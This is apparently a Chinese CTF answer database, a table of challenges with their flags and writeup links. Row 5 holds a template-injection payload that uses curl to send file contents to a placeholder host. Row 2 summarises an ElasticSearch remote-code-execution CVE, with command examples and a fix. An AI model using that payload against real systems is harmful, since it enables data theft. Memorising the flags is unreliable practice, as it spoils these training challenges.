[标题搜索]只能搜索题目标题，[综合搜索]支持多关键词多项目搜索（以空格分隔）。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | BUUCTF | Web | [WMCTF2020]Make PHP Great Again 2.0 | flag{25f991b27fcdc2f7a82a2b34386e81c4} | https://cn-sec.com/archives/911176.html | WMCTF2020 | 7708 |
| 2 | BUUCTF | Real | [ElasticSearch]CVE-2014-3120 | ElasticSearch远程代码执行漏洞CVE-2014-3120影响1.2及之前版本，攻击者可通过_search接口提交恶意MVEL脚本执行任意代码，例如执行id或cat /etc/passwd命令 1。修复方案包括升级至1.2.1+版本或在elasticsearch.yml中设置script.disable_dynamic: true 1。 验证后的网址：https://blog.csdn.net/mooyuan/article/details/150866213 | https://m.yisu.com/zixun/497735.html | ElasticSearch | 6593 |
| 3 | BUUCTF | Reverse | [QCTF2018]Xman-babymips | flag{ReA11y_4_B@89_mlp5_4_XmAn_} | https://blog.csdn.net/yhfgs/article/d... | QCTF2018 | 7374 |
| 4 | ctfshow | 网络迷踪 | 食堂轶闻 | ctfshow{南方科技大学_2018_09} | https://blog.csdn.net/m0_62298293/art... | - | 4340 |
| 5 | ctfshow | WEB入门.其他 | web444 | ?code=str(''.class.bases.subclasses().init.globals['builtins']'import'.dict['pop en']('curl http://ip:port?1=`cat /f*`')) | ... | 其他 | 3797 |
| 6 | BUUCTF | Reverse | 特殊的 BASE64 | flag{Special_Base64_By_Lich} | https://blog.csdn.net/2402_87431173/a... | - | 8889 |
| 7 | BUUCTF | N1BOOK | [第二章 web进阶]死亡ping命令 | n1book{6fa82809179d7f19c67259aa285a7729} | https://blog.csdn.net/qq_45414878/art... | 第二章 web进阶 | 7795 |
| 8 | ctfshow | MISC | 杂项签到 | ctfshow{a62b0b55682d81f7f652b26147c49040} | https://www.cnblogs.com/sakura--tears... | - | 2948 |
| 9 | NSSCTF | MISC | [HNCTF 2022 WEEK2]tyPe Ch@nnEl | 无 | https://zhuanlan.zhihu.com/p/579057932 | HNCTF | 12632 |
| 10 | xuenixiang.com | Web | 入入门 | - | https://www.xuenixiang.com/forum.php?... | xuenixiang_2020 | 15460 |